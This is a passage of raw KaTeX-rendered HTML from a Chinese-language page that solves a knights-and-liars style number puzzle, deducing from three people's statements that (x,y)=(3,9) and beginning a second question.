encoding="application/x-tex">\Leftrightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇔</span></span></span></span> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo separator="true">,</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x,y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>一奇一偶，且由於這些推理甲、丙都會做出，又他們知道自己是否說謊，因此他們互相知道對方是否說謊(在ROUND 1結束後)</p></li></ul></li><li><p>丙-6：「甲不知道這兩個數是多少，而且乙在說謊」</p><ul><li><p>若丙為T，則有</p><ol><li><p>甲為F，且丙知道這件事</p></li><li><p>甲知道丙為T</p></li><li><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi><mo separator="true">,</mo><mi>x</mi><mo>−</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y,x-y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>為偶數</p></li><li><p>丙知道「甲不知道這兩個數是多少」</p></li><li><p>丙知道「乙在說謊(<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⇒</mo></mrow><annotation encoding="application/x-tex">\Rightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇒</span></span></span></span> 乙知道 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⇒</mo></mrow><annotation encoding="application/x-tex">\Rightarrow</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">⇒</span></span></span></span> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>y</mi><mo mathvariant="normal">∉</mo><mo stretchy="false">{</mo><mn>12</mn><mo separator="true">,</mo><mn>18</mn><mo separator="true">,</mo><mn>24</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">xy\notin\{12,18,24\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mord"><span class="mrel">∈</span></span><span class="mord vbox"><span class="thinbox"><span class="llap"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="inner"><span class="mord"><span class="mord">/</span><span class="mspace" style="margin-right:0.0556em;"></span></span></span><span class="fix"></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">12</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">18</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">24</span><span class="mclose">}</span></span></span></span>)」</p></li></ol><ul><li><p>由1，甲-4為假，因而「乙知道這兩個數是多少」，從而乙亦為F，且甲知道這件事，因而甲由手上的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>可知<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>y</mi><mo mathvariant="normal">∉</mo><mo stretchy="false">{</mo><mn>12</mn><mo separator="true">,</mo><mn>18</mn><mo separator="true">,</mo><mn>24</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">xy\notin\{12,18,24\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mord"><span class="mrel">∈</span></span><span class="mord vbox"><span class="thinbox"><span class="llap"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="inner"><span class="mord"><span class="mord">/</span><span class="mspace" style="margin-right:0.0556em;"></span></span></span><span class="fix"></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">12</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">18</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">24</span><span class="mclose">}</span></span></span></span>。我們將所有可能根據3進行篩選，滿足<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>y</mi><mo>∈</mo><mo stretchy="false">{</mo><mn>12</mn><mo separator="true">,</mo><mn>18</mn><mo separator="true">,</mo><mn>24</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">xy\in\{12,18,24\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">12</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">18</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">24</span><span class="mclose">}</span></span></span></span>的組合只剩<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>2</mn><mo separator="true">,</mo><mn>6</mn><mo stretchy="false">)</mo><mo>∨</mo><mo stretchy="false">(</mo><mn>4</mn><mo separator="true">,</mo><mn>6</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(2,6)\vee(4,6)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">6</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∨</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">6</span><span class="mclose">)</span></span></span></span>，由於要能由<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>排除這種情形的可能性，從而<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi><mo mathvariant="normal">≠</mo><mn>8</mn><mo>∨</mo><mn>10</mn></mrow><annotation encoding="application/x-tex">x+y\neq8\vee10</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mspace nobreak"></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∨</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">10</span></span></span></span>。查表可知<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>∈</mo><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mn>2</mn><mo separator="true">,</mo><mn>4</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>4</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mn>7</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>6</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>7</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">(x,y)\in\{(2,4),(3,9),(4,8),(5,7),(5,9),(6,8),(7,9)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">4</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">7</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">6</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">7</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)}</span></span></span></span></p></li><li><p>由4知<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi><mo mathvariant="normal">≠</mo><mo>−</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">x-y\neq-2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mspace nobreak"></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">2</span></span></span></span> (否則丙將無法確定甲是否不知道這兩數是多少)，因此先排<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi><mo>=</mo><mo>−</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">x-y=-2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">2</span></span></span></span>的所有情形，得到<br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>∈</mo><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>4</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">(x,y)\in\{(3,9),(4,8),(5,9)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)}</span></span></span></span></p></li><li><p>此時有(甲,乙,丙)=(F,F,T)</p></li></ul></li><li><p>若丙為F，則由甲-4為真，乙-5亦為真，從而(甲,乙,丙)=(T,T,F)。且由於甲、乙、丙都能做出相應推理(他們擁有的資訊甚至還比我們多，我們在資訊受限時能做出的推理他們自然能做出)，因此他們三人也都知道彼此的說謊或說實話情形。從而甲-7：「我不完全知道乙和丙是否說謊的全部實情」為謊話，但這與甲說實話矛盾，從而此情形不可能發生</p></li><li><p>綜合以上分析，我們得出<br>(甲,乙,丙)=(F,F,T)，且<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>∈</mo><mo stretchy="false">{</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>4</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo separator="true">,</mo><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">(x,y)\in\{(3,9),(4,8),(5,9)\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)}</span></span></span></span>，且可驗證此人設組合與甲-7並不矛盾</p></li></ul></li><li><p>乙-8</p><ul><li>由於乙為F，因而<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>y</mi></mrow><annotation encoding="application/x-tex">xy</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>為奇數，從而<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo><mo>∨</mo><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(3,9)\vee(5,9)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∨</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span></span></span></span>，此即所有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>的可能，而使<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x+y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>達最小的解為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(3,9)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span></span></span></span></li></ul></li></ul><p>我們可以經由<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(3,9)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span></span></span></span>輕易推論出「甲、乙、丙三人在ROUND 1結束後就都知道彼此的誠實與說謊情形了」。</p></details><h3 id="%E7%AC%AC2%E9%A1%8C" tabindex="-1" id="第2題">第2題</h3><details><summary>點我展開</summary><p>接著我們來解第2題，因為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>9</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(x,y)=(3,9)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">9</span><span class="mclose">)</span></span></span></span>，甲拿到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>y</mi><mo>=</mo><mn>12</mn></mrow><annotation encoding="application/x-tex">x+y=12</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">12</span></span></span></span>、乙拿到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mi>y</mi><mo>=</mo><mn>27</mn></mrow><annotation encoding="application/x-tex">xy=27</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">27</span></span></span></span>、丙拿到<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi><mo>=</mo><mo>−</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">x-y=-6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" 